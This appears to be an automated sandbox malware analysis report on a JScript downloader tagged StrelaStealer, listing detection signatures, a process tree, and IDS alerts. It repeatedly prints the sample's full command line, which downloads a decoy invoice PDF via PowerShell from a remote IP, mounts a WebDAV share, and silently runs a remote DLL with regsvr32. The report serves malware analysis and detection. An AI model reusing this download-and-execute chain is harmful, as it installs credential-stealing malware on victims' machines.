Edit tour

Windows Analysis Report
29112223682907312977.js

Overview

General Information

Sample name:	29112223682907312977.js
Analysis ID:	1589862
MD5:	eb9baa085f5f9f41cfdab42cdd845d4e
SHA1:	8f72ddfcbb0248683e9ccdddfa1c000896222159
SHA256:	c3bbb13420311196ef1e4582d4aea0a94b768d46b5da8ad1c219d735c06befa8
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7592 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7644 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7696 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8068 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,11555239637211796600,11891808968204454140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7884 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7976 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8132 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7592	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7976, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7884, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7976, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8132, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7884, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7976, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll, ProcessId: 7644, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:06:05.371011+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:06:07.714364+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:06:05.371011+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 29112223682907312977.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 29112223682907312977.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 29112223682907312977.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:06:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

